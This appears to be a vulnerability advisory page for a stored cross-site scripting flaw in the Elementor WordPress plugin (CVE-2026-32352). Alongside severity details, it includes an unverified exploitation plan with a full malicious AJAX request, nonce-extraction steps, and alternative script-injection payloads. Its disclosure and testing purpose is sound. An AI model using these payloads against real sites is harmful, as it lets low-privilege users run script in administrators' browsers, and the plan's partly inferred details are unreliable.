CVE-2026-32352

Elementor Website Builder <= 3.35.5 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.35.6
Patched in
62d
Time to patch

Description

The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.35.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.35.5
PublishedFebruary 13, 2026
Last updatedApril 15, 2026
Affected pluginelementor

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32352 (Elementor Stored XSS) ## 1. Vulnerability Summary **CVE-2026-32352** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Elementor Website Builder** plugin (versions <= 3.35.5). The vulnerability exists because the plugin fails to sufficiently…

Show full research plan

Exploitation Research Plan: CVE-2026-32352 (Elementor Stored XSS)

1. Vulnerability Summary

CVE-2026-32352 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin (versions <= 3.35.5). The vulnerability exists because the plugin fails to sufficiently sanitize and escape user-provided input within the Elementor editor's widget settings before saving them to the database and subsequently rendering them on the frontend. Specifically, certain widget properties (like custom attributes, URLs, or tag names) allow a Contributor-level user to inject arbitrary JavaScript payloads.

2. Attack Vector Analysis

  • Vulnerable Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: elementor_ajax
  • Internal Action: save_builder_data (within the elementor_ajax request)
  • Vulnerable Parameter: data (specifically the elements or settings JSON structure within the _elementor_data post meta).
  • Authentication Level: Authenticated, Contributor or higher. Contributors in WordPress have the edit_posts capability, allowing them to use the Elementor editor on their own posts.
  • Preconditions: The Elementor editor must be active for the post type being edited.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=elementor_ajax.
  2. AJAX Handler: Elementor's Ajax::handle_ajax_request (in includes/ajax.php) receives the request.
  3. Command Execution: The request contains a commands object. The save_builder_data command is triggered.
  4. Persistence: The Documents\Base\Document::save_elements or Documents\Base\Document::save_settings methods are called. The input data (JSON) is processed and saved into the _elementor_data post meta using update_metadata.
  5. Lack of Sanitization: During the saving process, certain widget-specific settings (inferred: custom HTML tags or link attributes) are not passed through rigorous sanitization filters like wp_kses or esc_attr.
  6. Rendering (Sink): When a user (e.g., an Admin) views the page, the Frontend::get_builder_content method retrieves the saved JSON, parses it, and renders the HTML. The malicious script is echoed directly into the DOM without escaping (e.g., inside an attribute or as part of a raw HTML tag).

4. Nonce Acquisition Strategy

Elementor requires a nonce for its AJAX operations, typically named elementor_ajax_nonce.

  1. Identify Shortcode/Trigger: Elementor loads its configuration on any page where the editor is active or where Elementor content is rendered.
  2. Create Test Page:
    wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=CONTRIBUTOR_ID --post_content='<!-- wp:elementor/canvas --> '
    
  3. Access Editor: Navigate to the Elementor editor for that post: /wp-admin/post.php?post=POST_ID&action=elementor.
  4. Extract Nonce via Browser:
    Use browser_eval to extract the nonce from the localized configuration object:
    • browser_eval("window.elementorCommon?.config?.ajax?.nonce")
    • OR browser_eval("window.elementorConfig?.ajax?.nonce")
    • OR browser_eval("window.elementorConfig?.nonces?.editor")

5. Exploitation Strategy

The goal is to send a crafted JSON payload via the elementor_ajax action to update a post's content with a malicious widget.

Step-by-Step Plan:

  1. Authenticate: Login as a Contributor.
  2. Create Post: Create a new post to get a POST_ID.
  3. Obtain Nonce: Use the strategy in Section 4 to get the elementor_ajax_nonce.
  4. Craft Payload: Prepare a JSON payload for the elementor_ajax request. We will target the Heading widget's header_tag or a widget's custom_attributes.

HTTP Request (Example Targeting Custom Attributes):

  • Method: POST
  • URL: http://TARGET/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=elementor_ajax&
    _nonce=NONCE_VALUE&
    actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"publish","elements":[{"id":"id_here","elType":"section","settings":{},"elements":[{"id":"id_2","elType":"column","settings":{},"elements":[{"id":"id_3","elType":"widget","widgetType":"heading","settings":{"title":"Hacked","custom_attributes":"onclick|alert(document.domain) style|display:block;width:100%;height:100px;background:red"},"elements":[]}]}]}]},"id":"POST_ID"}}
    
    (Note: The custom_attributes field in Elementor often uses a pipe | format: key|value.)
  1. Trigger Execution: Navigate to the published post URL: http://TARGET/?p=POST_ID.

6. Test Data Setup

  1. User: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Elementor Settings: Ensure "Contributor" is allowed to use Elementor (Role Manager in Elementor settings).
    # This might be necessary if Elementor restricts the editor to Authors/Admins by default
    wp option update elementor_role_manager_contributor "" 
    

7. Expected Results

  • The AJAX request should return a 200 OK with a JSON response containing {"success":true,...}.
  • When viewing the post, the HTML should contain the injected attribute: <h2 ... onclick="alert(document.domain)" ...>.
  • Clicking or hovering (depending on the attribute) should trigger the JavaScript alert.

8. Verification Steps

  1. Check Database: Verify the payload is stored in the post meta.
    wp post meta get POST_ID _elementor_data
    
  2. Search for Payload:
    wp post meta get POST_ID _elementor_data | grep "alert(document.domain)"
    

9. Alternative Approaches

If custom_attributes is sanitized in version 3.35.5, target the html_tag property of the Heading or Text Path widgets:

  • Payload: Change settings to {"title":"XSS", "header_tag":"script src=data:,alert(1)//"}.
  • Some Elementor widgets allow raw HTML if the user has unfiltered_html, but Contributors do not. This vulnerability bypasses that restriction by finding a field that should be escaped for Contributors but isn't.
  • Check Video Widget: Inject into the external_url or vimeo_url using javascript:alert(1).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 3.35.5. Contributor-level attackers can use the Elementor editor's AJAX interface to save malicious widget settings, such as 'custom_attributes' or 'header_tag', which are rendered without proper sanitization on the frontend.

Exploit Outline

1. Authenticate as a Contributor-level user and identify a post that can be edited with Elementor. 2. Obtain a valid Elementor AJAX nonce by inspecting the 'window.elementorConfig' object in the browser context of the editor. 3. Construct a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'elementor_ajax' and the '_nonce' parameter populated. 4. Include a 'save_builder_data' command in the 'actions' parameter, containing a JSON structure for a widget (e.g., 'heading') where settings like 'custom_attributes' or 'header_tag' contain malicious JavaScript (e.g., 'onmouseover|alert(document.domain)'). 5. Submit the request and then view the published post to trigger the script execution in the context of the user's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.